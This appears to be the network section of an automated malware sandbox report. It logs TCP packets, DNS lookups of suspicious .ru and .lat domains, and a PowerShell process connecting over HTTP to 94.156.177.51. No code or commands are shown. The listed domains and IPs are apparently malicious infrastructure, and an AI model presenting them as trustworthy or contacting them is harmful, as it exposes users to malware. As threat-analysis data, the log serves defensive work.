Dec 18, 2024 09:21:51.445449114 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.445938110 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.446083069 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.446125031 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.448839903 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.448853016 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.448945999 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.453898907 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.453948021 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.453989029 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.454649925 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.454804897 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.454973936 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.457187891 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.457242012 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.457294941 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.466017008 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.466032028 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.466042042 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.466106892 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.466126919 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.466170073 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.468461990 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.479855061 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.479901075 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.479950905 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.480987072 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.481059074 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.481089115 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.483365059 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.483443022 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.498336077 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.498444080 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.498496056 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.499526978 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.499635935 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.499702930 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.502019882 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.534642935 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.534702063 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.534739971 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.535933018 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.535995007 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.536079884 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.538369894 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.538455963 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.567620993 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.567739964 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.567825079 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.568299055 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.582694054 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.582715034 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.582762003 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.583306074 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.583384991 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.741028070 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.741048098 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.741134882 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.741662025 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.741872072 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.741919994 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.743117094 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.790134907 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.891833067 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.891927004 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.892153025 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.892618895 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.892802000 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.892853022 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.894277096 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.948905945 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.234508038 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.234637976 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.234743118 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.235299110 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.235474110 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.235641003 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.236946106 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.237020969 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.237103939 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.238590002 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.238729000 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.238851070 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.240142107 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.240253925 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.240346909 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.241697073 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.241959095 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.243350983 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.243412971 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.243593931 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.244920015 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.244971991 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.245002985 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.246198893 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.246539116 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.246628046 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.247330904 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.248100042 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.248219967 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.249738932 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.249752045 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.249809980 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.251394033 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.251471043 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.251528025 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.253695011 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.253938913 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.255441904 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.256160021 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.256232023 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.257411003 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.257482052 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.257683039 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.258439064 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.258497000 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.258538961 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.258662939 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.259763956 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.259846926 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.260056019 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.261202097 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.261248112 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.261305094 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.262577057 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.262667894 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.263392925 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.264245033 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.264389992 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.264491081 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.265856028 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.265952110 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.266033888 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.267394066 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.267456055 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.267522097 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.269052029 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.269124985 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.269742012 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.270842075 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.270888090 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.271028996 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.272232056 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.272313118 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.272877932 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.273845911 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.273952961 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.273989916 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.275554895 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.275631905 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.276057005 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.277051926 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.277163029 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.278714895 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.278727055 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.278774023 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.280359983 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.280471087 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.280524015 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.281883955 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.282059908 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.282160044 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.283548117 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.283659935 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.283752918 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.285172939 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.285312891 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.286159039 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.286780119 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.286851883 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.287384987 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.288336992 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.288474083 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.290075064 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.290131092 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.290159941 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.291399956 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.291569948 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.291629076 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.291698933 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.293158054 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.293268919 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.293445110 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.294739962 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.294851065 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.294900894 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.296333075 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.296427011 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.296614885 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.297974110 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.298084021 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.298202991 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.299618006 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.299741983 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.299850941 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.301172972 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.301270962 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.302778959 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.302916050 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.302937984 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.303385973 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.304414988 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.304488897 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.304553986 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.306027889 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.306149006 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.306219101 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.307591915 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.307693958 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.307760954 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.309236050 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.309395075 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.309453011 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.310838938 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.310952902 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.310997009 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.312448978 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.312587023 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.312730074 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.314122915 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.314229012 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.315381050 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.315627098 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.315737009 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.315784931 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.317250967 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.317362070 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.318824053 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.318965912 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.425815105 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.425895929 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.425981998 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.426595926 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.426681042 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.426742077 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.427985907 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.428117990 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.428232908 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.429454088 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.429569006 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.430881977 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.430943966 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.431008101 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.431081057 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.432334900 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.432410002 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.432492018 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.433814049 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.433826923 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.433890104 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.435148001 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.435198069 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.435386896 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.436534882 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.436666012 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.436728954 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:52.437861919 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:52.480287075 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:53.341567039 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:21.210704088 CET	49796	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:21.330425978 CET	80	49796	94.156.177.51	192.168.2.11
Dec 18, 2024 09:22:21.330544949 CET	49796	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:21.330897093 CET	49796	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:21.330952883 CET	49796	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:21.450742960 CET	80	49796	94.156.177.51	192.168.2.11
Dec 18, 2024 09:22:21.450769901 CET	80	49796	94.156.177.51	192.168.2.11
Dec 18, 2024 09:22:22.689446926 CET	80	49796	94.156.177.51	192.168.2.11
Dec 18, 2024 09:22:22.734924078 CET	49796	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:23.199047089 CET	49802	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:23.319453955 CET	80	49802	94.156.177.51	192.168.2.11
Dec 18, 2024 09:22:23.320430040 CET	49802	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:23.320658922 CET	49802	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:23.320679903 CET	49802	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:23.440357924 CET	80	49802	94.156.177.51	192.168.2.11
Dec 18, 2024 09:22:23.440475941 CET	80	49802	94.156.177.51	192.168.2.11
Dec 18, 2024 09:22:24.691345930 CET	80	49802	94.156.177.51	192.168.2.11
Dec 18, 2024 09:22:24.734755039 CET	49802	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:22:25.593709946 CET	49808	80	192.168.2.11	109.70.26.37
Dec 18, 2024 09:22:25.713202000 CET	80	49808	109.70.26.37	192.168.2.11
Dec 18, 2024 09:22:25.713315010 CET	49808	80	192.168.2.11	109.70.26.37
Dec 18, 2024 09:22:25.713629007 CET	49808	80	192.168.2.11	109.70.26.37
Dec 18, 2024 09:22:25.713671923 CET	49808	80	192.168.2.11	109.70.26.37
Dec 18, 2024 09:22:25.834158897 CET	80	49808	109.70.26.37	192.168.2.11
Dec 18, 2024 09:22:25.834175110 CET	80	49808	109.70.26.37	192.168.2.11
Dec 18, 2024 09:22:47.602914095 CET	80	49808	109.70.26.37	192.168.2.11
Dec 18, 2024 09:22:47.605252981 CET	49808	80	192.168.2.11	109.70.26.37
Dec 18, 2024 09:22:47.606194019 CET	49808	80	192.168.2.11	109.70.26.37
Dec 18, 2024 09:22:47.725671053 CET	80	49808	109.70.26.37	192.168.2.11
Dec 18, 2024 09:23:37.685137987 CET	80	49796	94.156.177.51	192.168.2.11
Dec 18, 2024 09:23:37.685758114 CET	49796	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:23:37.708782911 CET	49796	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:23:37.828311920 CET	80	49796	94.156.177.51	192.168.2.11
Dec 18, 2024 09:23:39.688407898 CET	80	49802	94.156.177.51	192.168.2.11
Dec 18, 2024 09:23:39.688477993 CET	49802	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:23:39.688556910 CET	49802	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:23:39.816015959 CET	80	49802	94.156.177.51	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 09:21:47.064798117 CET	59831	53	192.168.2.11	1.1.1.1
Dec 18, 2024 09:21:47.644201040 CET	53	59831	1.1.1.1	192.168.2.11
Dec 18, 2024 09:21:59.756849051 CET	65439	53	192.168.2.11	1.1.1.1
Dec 18, 2024 09:22:20.683049917 CET	49678	53	192.168.2.11	1.1.1.1
Dec 18, 2024 09:22:21.209399939 CET	53	49678	1.1.1.1	192.168.2.11
Dec 18, 2024 09:22:22.693095922 CET	51449	53	192.168.2.11	1.1.1.1
Dec 18, 2024 09:22:23.196820021 CET	53	51449	1.1.1.1	192.168.2.11
Dec 18, 2024 09:22:24.697303057 CET	55317	53	192.168.2.11	1.1.1.1
Dec 18, 2024 09:22:25.591006041 CET	53	55317	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 09:21:47.064798117 CET	192.168.2.11	1.1.1.1	0x43e1	Standard query (0)	spotcarservice.ru	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:21:59.756849051 CET	192.168.2.11	1.1.1.1	0x50d5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:22:20.683049917 CET	192.168.2.11	1.1.1.1	0xa889	Standard query (0)	constractionscity1991.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:22:22.693095922 CET	192.168.2.11	1.1.1.1	0x217	Standard query (0)	restructurisationservice.ru	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:22:24.697303057 CET	192.168.2.11	1.1.1.1	0xa7da	Standard query (0)	connecticutproperty.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 09:21:47.644201040 CET	1.1.1.1	192.168.2.11	0x43e1	No error (0)	spotcarservice.ru		94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:21:59.981904030 CET	1.1.1.1	192.168.2.11	0x50d5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 09:22:00.386373997 CET	1.1.1.1	192.168.2.11	0x42f3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:22:00.386373997 CET	1.1.1.1	192.168.2.11	0x42f3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:22:21.209399939 CET	1.1.1.1	192.168.2.11	0xa889	No error (0)	constractionscity1991.lat		94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:22:23.196820021 CET	1.1.1.1	192.168.2.11	0x217	No error (0)	restructurisationservice.ru		94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:22:25.591006041 CET	1.1.1.1	192.168.2.11	0xa7da	No error (0)	connecticutproperty.ru		109.70.26.37	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:22:25.591006041 CET	1.1.1.1	192.168.2.11	0xa7da	No error (0)	connecticutproperty.ru		194.85.61.76	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

spotcarservice.ru

gfplckurltmm.com

constractionscity1991.lat

gvogltyuxqqhq.com

restructurisationservice.ru

ydyaqkkintpc.org

connecticutproperty.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49706	94.156.177.51	80	4540	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
